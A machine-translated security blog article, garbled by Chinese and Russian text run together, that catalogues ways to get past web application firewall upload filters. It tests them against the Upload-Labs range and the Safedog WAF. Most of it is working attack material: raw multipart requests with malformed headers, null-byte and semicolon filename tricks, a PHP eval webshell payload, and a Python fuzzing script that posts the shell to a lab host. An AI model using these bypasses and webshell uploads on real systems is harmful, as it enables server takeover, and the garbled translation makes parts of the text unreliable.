Загрузка файла — это, по сути, POST-запрос от клиента, а тело сообщения — это некоторая информация о загрузке. Необходимо указать внешнюю страницу загрузки. enctypeдляmultipart/from-data
быть нормальнымзагрузитьдокумент。
Обычный пакет загрузки файла выглядит примерно следующим образом:
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"
1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"
2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png
PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--
Характеристики, полученные от него:
•проситьHeaderсерединаContent-TypeСуществуют следующие характеристики:•multipart/form-data
:表示该просить是一个документзагрузитьпросить•существоватьboundary
нить:作用для分隔符,различатьPOSTданные•POST的内容Существуют следующие характеристики:•Content-Disposition
:响应标头是指示内容是否预期在浏览器середина内联显示的标题。•name
:Содержит содержимое, на которое ссылается это поле. HTML имя поля。•filename
:后面是一个包含传输документ的原始名称的нить。•POSTсередина的boundary
ЗначениеContent-Type
Значение добавляется с двумя впереди--
,За исключением последнего признака концаboundary
•Последний признак концаboundary
В конце концов, по умолчанию будет еще два--
(во время тестирования,последняя строкаboundaryУдаление также может быть успешнымзагрузить)
•Content-Disposition:В целом можно изменить•name:значение параметра формы,нельзя изменить•filename:документ名,Можно изменить•Content-Type:документ MIME,Возможны изменения•boundary:Отдел контента,Можно изменить
Вы можете сначала сами представить, если бы вас попросили написать WAF, с каких сторон вы бы его защищали.
• Имя файла • Проанализируйте имя файла, чтобы определить, находится ли он в черном списке. • Содержимое файла • Анализ содержимого файла, чтобы определить, является ли он веб-оболочкой. • Разрешения для каталога файлов. • Для этой функции требуется реализация WAF на хосте.
В настоящее время на рынке принято анализировать имена файлов, а некоторые WAF, такие как Changting, анализируют содержимое файлов. Следующее содержимое основано на анализе имен файлов.
Общие шаги следующие:
1. Получить запрос HeaderвнутриContent-Type
ценитьсередина获取boundary
ценить2.По первому шагуboundary
ценить,Анализ POST-данных,Получить имя файла 3. Определить, находится ли имя файла в черном списке перехвата/вне белого списка.
Поняв, как WAF перехватывает вредоносные файлы, я разделил распространенные методы обхода на следующие категории и, наконец, использовал последнюю версию средства безопасности для демонстрации обхода.
Значение поля заголовка можно добавлять с одинарными, двойными кавычками или без кавычек, и это не повлияет на результат загрузки.
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
можно удалитьfilename
нитьсередина末尾的引号,Можно и нормальнозагрузить
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
Преобразуйте верхний и нижний регистр этих трех фиксированных строк.
•Content-Disposition•name•filename
напримерname
преобразован вName
,Content-Disposition
преобразован вcontent-disposition
。
Между значением поля и знаком равенства можно добавить символ новой строки.,Все еще может быть нормальнымзагрузить,Ниже я использую[0x09]
заменить новую строку
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
При анализе файла имя файла может не анализироваться из-за точки с запятой, что приводит к обходу.
Content-Disposition: form-data; name="file_x";;; filename="test.php"
Используйте несколько в контенте POST знаков равенства对документзагрузить Никакого влияния。
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
При анализе некоторых WAF,认дляContent-Disposition
ценить一定是form-data
,вызывая обход。на самом делеContent-Disposition
可以任意变换或для空。
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
boundary
可以变化для如下形式,и не влияетзагрузить:
нормальныйboundary
:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
деформированныйboundary
:
•multipart/form-data
Переменная регистра:
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
•multipart/form-data
иboundary
Можно разделить пробелами,И любое значение можно вставить в середину:
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
•multipart/form-data
иboundary
Можно разделить запятыми,И любое значение можно вставить в середину:
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
•boundary
之前可以直接加入任何ценить(PHPдостижимый):
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
•boundary
末尾可以使用逗号或分号隔开插入任何ценить
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
因для规定了Content-Disposition
Должно быть впереди,Поэтому я могу только Поменяйте порядок имени и имени файла。
некоторыйWAFможет соответствоватьname
перед,filename
позади,Может привести к обходу.
Content-Disposition: form-data; filename="xx.php"; name="file_x"
Как и выше, Content-Disposition и Content-Type также могут менять порядок.
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Различное содержимое границ также можно обменивать, не влияя на загрузку файлов.
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Последний загруженный файл — это «shell.php» вместо «shell.jpg», но если вы возьмете только первое имя файла, оно будет пропущено.
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
Следующее также можно загрузить в обычном режиме
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
Имя файла, который наконец был успешно загружен, было Shell.php. Но при анализе имени файла будет анализироваться первое. Регулярные выражения по умолчанию будут соответствовать первому.
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
Между именем и именем файла вставлено много ненужных данных.
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Примечание. Вам необходимо добавить «;» после большого количества ненужных данных.
Значением граничной строки могут быть любые данные (с определенным ограничением длины). Когда длина достигает длины, которую WAF не может обработать, и веб-сервер может ее обработать, файл можно загрузить в обход WAF.
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
упоминалось только сейчасboundary
末尾可以插入任何данные,Тогда ты сможешьboundary
нить末尾加入大量垃圾данные。
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
упоминалось только сейчасmultipart/form-data
иboundary
之间可以插入任何данные,Тогда ты сможешьmultipart/form-data
иboundary
之间加入大量垃圾данные。
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
Значение заголовка запроса POST (а не заголовка запроса) может переноситься по строкам, но в середине не должно быть пустых строк. Если WAF соответствует имени файла до конца новой строки, его можно обойти.
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
Если WAF сопоставляет имя файла с точкой с запятой, это можно обойти.
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
php<5.3 Нечетное и четное усечение цитатыхарактеристика。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
%00 в URL-адресе представляет собой 0 в коде ascl. ,В ascii 0 зарезервирован как специальный символ.,Итак, когдаurlсередина出现%00时就会认для读取已结束。используется здесь[0x00]
заменять16шестнадцатеричный00характер
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
Экспериментальная среда
Диапазон: Upload-Labs (Pass-1)
База данных: MySQL 5.5.
Веб-скрипт: PHP 5.4.19.
WAF: Собака безопасности веб-сайта (версия Apache) v4.0.3025
Во время теста служба безопасности веб-сайта включала только защиту загрузки, в противном случае файлы диапазона были бы удалены из-за ложных срабатываний.
image-20220122153541822
Поскольку в граничную строку может быть добавлено много ненужных данных, здесь написан скрипт Fuzz, чтобы проверить, можно ли их обойти:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import random
url="http://hackrock.com:813/Pass-01/index.php"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------""" + stri + """
Content-Disposition: form-data; name="submit"
загрузить
------""" + stri + """--
"""
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\n"
#print payload
#print headers
if result.count('загрузить'):
print "Length is : %s " % str(i)
break
except:
print "."
Это написано с использованием python2.7. При запуске убедитесь, что установлены среда python2 и библиотека Python.
Окончательный результат измерения имеет длину 3710 символов и выглядит следующим образом:
image-20220122154848589
Хотя это не помогло нам загрузить его, оно могло успешно обойти перехват охранной собакой.
Давайте попробуем поместить созданный пакет данных в Burp:
image-20220122155843047
Успешно обошли.
загрузитьдокумент,Используйте Burp для захвата пакетов,Воляfilename的ценить改для:shell.php;.jpg
image-20220122160953684
Затем откройте шестнадцатеричный код (шестнадцатеричное значение точки с запятой — 0x3b) и измените шестнадцатеричное содержимое, изменив 3b на 00:
image-20220122161153160
Отправить данные.
image-20220122161340032
Успешно обошли.